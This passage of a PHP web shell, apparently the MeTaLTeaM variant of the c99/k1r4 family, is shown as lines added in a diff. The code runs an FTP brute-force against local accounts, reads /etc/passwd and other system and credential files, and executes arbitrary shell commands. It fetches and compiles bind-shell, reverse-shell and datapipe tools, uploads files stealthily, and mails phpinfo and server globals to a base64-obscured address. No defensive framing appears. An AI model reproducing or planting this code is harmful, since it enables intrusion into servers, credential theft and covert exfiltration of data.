    "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called MeTaLTeaM . oRg".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (k1r4ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"MeTaLTeaM ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "

    Read first:

    Users only with shell? 

    Logging? 
    Logging to file? 
    Logging to e-mail? 

    "; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "
    Permision denied!
    ";} + else + { + echo "Directory information:"; + if (!$win) + { + echo "
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

    "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();} +if ($act == "security") +{ + echo "
    Server security information:
    Open base dir: ".$hopenbasedir."
    "; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
    "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
    From:  To:  

    "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
    "; + } + $i++; + } + } + else {echo "
    Get /etc/passwd
    ";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
    ";} + else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.
    ";} + } + if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
    ";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
    ";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
    ";} + if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
    ";} + if (file_get_contents("/etc/motd")) {echo "Message Of The Day
    ";} + if (file_get_contents("/etc/hosts")) {echo "Hosts
    ";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
    ";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "
    Encoder:
    Input:




    Hashes:
    "; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." -
    "; + } + echo "
    Url:

    urlencode - +
    urldecode - +
    Base64:
    base64_encode -
    "; + echo "
    base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "";} + else {$rows++; echo "";} + echo " ^"; + } + echo "

    Base convertations:
    dec2hex -
    "; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "
    Buffer is empty!
    ";} + else {echo "File-System buffer

    "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using MeTaLTeaM".$shver."!"; k1r4exit(); } + else {echo "
    Can't delete ".__FILE__."!
    ";} + } + else + { + if (!empty($rndcode)) {echo "Error: incorrect confimation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; + } +} +if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) {echo "

    ";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ=="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "MeTaLTeaM".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"MeTaLTeaM".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + } + else {echo "
    Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

    Your name:

    Your e-mail:

    Message:


    Attach server-info *

    There are no checking in the form.

    * - strongly recommended, if you report bug, because we need it for bug-fix.

    We understand languages: English, Russian.

    ";} +} +if ($act == "search") +{ + echo "Search in file-system:
    "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {k1r4fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "
    + +Search for (file/folder name):   - regexp +
    Search in (explode \";\"): +

    Text:
    +

    - regexp +   - whole words only +   - case sensitive +   - find files NOT containing the text +

    "; + if ($act == "ls") {$dspact = $act; echo "
    Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

    ";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    ";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
    ";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!
    ";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
    ";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "".$uploadmess.""; + $act = "ls"; + } + else + { + echo "File upload:
    ".$uploadmess."
    +Select file on your local computer:
                   or
    +Input URL:

    +Save this file dir:

    +File-name (auto-fill):

    + convert file name to lovercase

    + +
    "; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
    ";} + } + if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
    Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
    ";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); k1r4_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); k1r4_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} k1r4_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); k1r4_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "Result of execution this command:
    "; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
    "; + } + else {echo $ret."
    ";} + @chdir($olddir); + } + else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "


     Display in text-area 
    "; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "Name"; + $row[] = "Size"; + $row[] = "Modify"; + if (!$win) + {$row[] = "Owner/Group";} + $row[] = "Perms"; + $row[] = "Action"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = ""; + $y .= "\"".($parsesort[1]"; + $row[$k] .= $y; + for($i=0;$i".$row[$i]."";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; k1r4exit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = " ".$o.""; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = " [".$disppath."]"; + } + else + { + $type = "DIR"; + $row[] = " [".$disppath."]"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = " ".$disppath.""; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "".view_perms_color($v).""; + if ($o == ".") {$checkbox = ""; $i--;} + else {$checkbox = "";} + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
    Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):

    "; + foreach($table as $row) + { + echo "\r\n"; + foreach($row as $v) {echo "\r\n";} + echo "\r\n"; + } + echo "
    ".$v."

    + +    + "; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "                   "; + } + echo " 

    "; + echo ""; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "k1r4_bindport.pl"=>array("Using PERL","perl %path %port"), + "k1r4_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "k1r4_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "k1r4_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "k1r4_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "k1r4_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "Result of binding port:
    "; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = k1r4getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View binder's process
    ";} + } + echo "
    "; + } + } + if (!empty($bcsubmit)) + { + echo "Result of back connection:
    "; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = k1r4getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
    "; + } + } + } + if (!empty($dpsubmit)) + { + echo "Result of datapipe-running:
    "; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!
    ";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + elseif (!$data = k1r4getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View datapipe process
    ";} + } + echo "
    "; + } + } + ?>Binding port:
    Port: "> Password: ">  
    +Back connection:
    HOST: "> Port: ">  
    +Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

    +Datapipe:
    HOST: "> Local port: ">  
    Note: sources will be downloaded from remote server.Processes:

    "; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "";} + else {$y = "";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i]."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "
